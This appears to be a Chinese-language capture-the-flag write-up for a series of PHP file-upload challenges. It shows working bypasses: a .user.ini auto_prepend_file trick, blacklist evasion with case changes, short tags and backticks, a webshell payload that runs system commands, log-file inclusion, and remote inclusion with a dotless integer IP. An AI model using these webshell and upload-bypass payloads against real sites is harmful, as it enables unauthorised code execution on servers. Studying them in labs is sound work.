web151

前端验证文件格式,抓包改包。

web152

说是后端提供了校验,但是抓包改包也可。

web153

.user.ini实际上就是一个可以由用户“自定义”的php.ini

在其中添加如下选项可以包含一些文件:

1
auto_prepend_file=01.png

若该目录下存在合法的php文档则会自动包含这个gif文件。恰好,本地是黑名单过滤。

首先通过前两题同样的方法将.user.ini文件上传,再直接上传改了后缀名的🐎。

web154

黑名单过滤了上传文件中不能有php,但是大小写可以绕过,其他同上。

web155

黑名单过滤,不区分大小写,但是可以用短标签

web156

在之前的基础上过滤了中括号[]

用大括号代替之。

web157 158

过滤了{} []=

直接写命令

1
2
3
<?
system("nl ../fl*")
?>

web159

过滤了system flag等字样

反引号绕过:

web160

日志包含,包含一下日志文件:

1
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

含有UA信息。

web161 162 163

除了多了检查文件头为GIF98A外与162无别的变化

但是一直在报.的错误,可能是被过滤了。所以用远程包含

在远程服务器写入一句话🐎,由于过滤点号,所以需要将包含的ip地址换为长整型:

1
2
3
4
5
6
7
def ip2long(ip):
ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
result = 0
for i in range(4): #0,1,2,3
result = result+int(ip_list[i])*256**(3-i)
return result